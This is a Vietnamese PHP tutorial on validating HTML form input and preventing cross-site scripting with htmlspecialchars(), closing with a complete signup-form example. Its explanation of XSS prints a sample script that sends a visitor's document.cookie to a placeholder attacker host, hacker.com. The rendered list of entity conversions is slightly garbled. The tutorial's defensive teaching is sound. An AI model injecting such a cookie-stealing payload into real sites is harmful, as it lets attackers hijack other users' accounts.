PHP và MySQL Bài 13: Xử lý Form HTML, Validate dữ liệu và kỹ thuật chống tấn công XSS
Trong các bài học trước, chúng ta đã biết cách lấy dữ liệu mà người dùng gửi lên thông qua $_GET và $_POST. Tuy nhiên, nếu bạn mang dữ liệu đó cất thẳng vào Database hoặc in trực tiếp ra màn hình, ứng dụng của bạn sẽ lập tức trở thành mục tiêu của các lỗi logic và các cuộc tấn công mạng.
Để đảm bảo an toàn, dữ liệu đầu vào cần trải qua hai bước: Validate (Kiểm tra tính hợp lệ) và Sanitize (Làm sạch/Khử độc).
1. Validate dữ liệu cơ bản (Data Validation)
Validate là quá trình kiểm tra xem người dùng có nhập đúng định dạng, đúng yêu cầu mà hệ thống mong muốn hay không (ví dụ: email có đúng chuẩn không, tuổi có phải là số không, đã điền đủ các ô bắt buộc chưa).
Dưới đây là các hàm PHP hữu ích nhất để Validate:
Kiểm tra rỗng: empty() và isset()
isset($bien): Kiểm tra xem biến đã được tạo ra chưa.empty($bien): Trả vềtruenếu biến chưa tồn tại, rỗng, bằng 0, hoặcnull. Đây là hàm dùng nhiều nhất để kiểm tra xem người dùng có bỏ trống ô nhập liệu hay không.
if (empty($_POST['username'])) {
echo "Lỗi: Bạn không được để trống Tên đăng nhập.";
}
Kiểm tra định dạng chuẩn với filter_var()
PHP cung cấp sẵn hàm filter_var() vô cùng mạnh mẽ để kiểm tra các định dạng phức tạp mà không cần bạn phải tự viết Biểu thức chính quy (Regex).
$emailNguoiDung = $_POST['email'];
// Kiểm tra Email hợp lệ
if (!filter_var($emailNguoiDung, FILTER_VALIDATE_EMAIL)) {
echo "Lỗi: Email không đúng định dạng!";
}
$tuoi = $_POST['age'];
// Kiểm tra xem có phải số nguyên hợp lệ không
if (!filter_var($tuoi, FILTER_VALIDATE_INT)) {
echo "Lỗi: Tuổi phải là một số nguyên.";
}
2. Hiểu về tấn công XSS (Cross-Site Scripting)
XSS là một trong những lỗ hổng bảo mật web phổ biến nhất thế giới. Lỗ hổng này xảy ra khi hệ thống cho phép người dùng nhập văn bản, và sau đó in y nguyên văn bản đó ra màn hình cho người khác xem (như phần Bình luận, Tin nhắn).
Kịch bản tấn công:
Thay vì nhập tên bình thường là "Nguyễn Văn A", Hacker sẽ nhập một đoạn mã JavaScript nguy hiểm vào ô Tên đăng nhập:
<script>
// Mã độc lấy cắp Cookie đăng nhập và gửi về máy chủ của Hacker
window.location='http://hacker.com/steal.php?cookie='+document.cookie;
</script>
Nếu Backend PHP của bạn nhận đoạn mã này, lưu vào Database, rồi in ra trang cá nhân, trình duyệt của bất kỳ ai vào xem trang đó sẽ tự động chạy đoạn mã trên. Hậu quả là tài khoản của người xem bị đánh cắp.
3. Kỹ thuật chống XSS đơn giản bằng htmlspecialchars()
Để vô hiệu hóa mã độc HTML/JavaScript, chúng ta phải "Khử độc" (Sanitize) dữ liệu trước khi lưu hoặc in ra màn hình. Nguyên lý là biến các ký tự có ý nghĩa cấu trúc trong HTML (như < và >) thành các "thực thể an toàn" (HTML Entities).
Hàm thần thánh của PHP để làm việc này là htmlspecialchars().
Nó sẽ biến đổi:
- Dấu
<thành< - Dấu
>thành>
Khi trình duyệt đọc đoạn mã đã biến đổi, nó sẽ chỉ hiển thị nguyên văn đoạn chữ đó ra màn hình dưới dạng văn bản thuần túy, thay vì thực thi nó như một đoạn mã.
<?php
$inputDocHai = "<script>alert('Bị hack rồi nhé!');</script>";
// Nếu dùng echo trực tiếp -> Mã JS sẽ chạy, hiện ra thông báo cảnh báo.
// echo $inputDocHai;
// Sử dụng htmlspecialchars để khử độc
$inputAnToan = htmlspecialchars($inputDocHai, ENT_QUOTES, 'UTF-8');
// In ra an toàn, người dùng chỉ thấy dòng chữ mã nguồn trên màn hình chứ không bị chạy JS
echo $inputAnToan;
?>
(Lưu ý: Tham số ENT_QUOTES giúp mã hóa cả dấu nháy đơn và nháy kép, UTF-8 đảm bảo không bị lỗi font tiếng Việt).
4. Ví dụ xử lý Form hoàn chỉnh và an toàn
Dưới đây là kịch bản kết hợp cả Validate và Sanitize để xử lý một Form đăng ký bản tin an toàn:
<?php
// Mảng chứa các lỗi nếu có
$errors = [];
// Kiểm tra xem form đã được submit bằng POST chưa
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// 1. Lấy dữ liệu và kiểm tra rỗng
if (empty($_POST["fullname"])) {
$errors[] = "Họ tên không được để trống.";
} else {
// Làm sạch XSS ngay khi vừa lấy dữ liệu
$fullname = htmlspecialchars(trim($_POST["fullname"]), ENT_QUOTES, 'UTF-8');
}
// 2. Lấy Email và Validate định dạng
if (empty($_POST["email"])) {
$errors[] = "Email không được để trống.";
} else {
$email = trim($_POST["email"]);
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$errors[] = "Định dạng email không hợp lệ.";
}
}
// 3. Xử lý kết quả
if (empty($errors)) {
echo "<h3>Đăng ký thành công!</h3>";
echo "Tên của bạn: " . $fullname . "<br>";
echo "Email liên hệ: " . $email . "<br>";
// Tại đây bạn có thể an tâm đưa $fullname và $email vào lưu trong Database
} else {
// In ra danh sách lỗi
echo "<h3>Vui lòng sửa các lỗi sau:</h3><ul>";
foreach ($errors as $err) {
echo "<li>" . $err . "</li>";
}
echo "</ul>";
}
}
?>
<!-- HTML Form -->
<form method="POST" action="">
<label>Họ tên:</label>
<input type="text" name="fullname"><br><br>
<label>Email:</label>
<input type="text" name="email"><br><br>
<button type="submit">Đăng ký</button>
</form>
Tổng kết Bài 13
- Validate: Kiểm tra xem dữ liệu có đúng ý hệ thống không (
empty,filter_var). - Sanitize (Chống XSS): Khử mã độc tiềm ẩn trước khi xử lý hoặc in ra màn hình (
htmlspecialchars).
Bạn đã biết cách tiếp nhận dữ liệu văn bản từ biểu mẫu. Vậy nếu người dùng muốn gửi lên một tệp tin (như ảnh đại diện, file PDF) thì sao? Đó sẽ là nội dung của Bài 14: Upload file lên server với PHP (Kiểm tra định dạng, kích thước, lưu trữ an toàn).
All rights reserved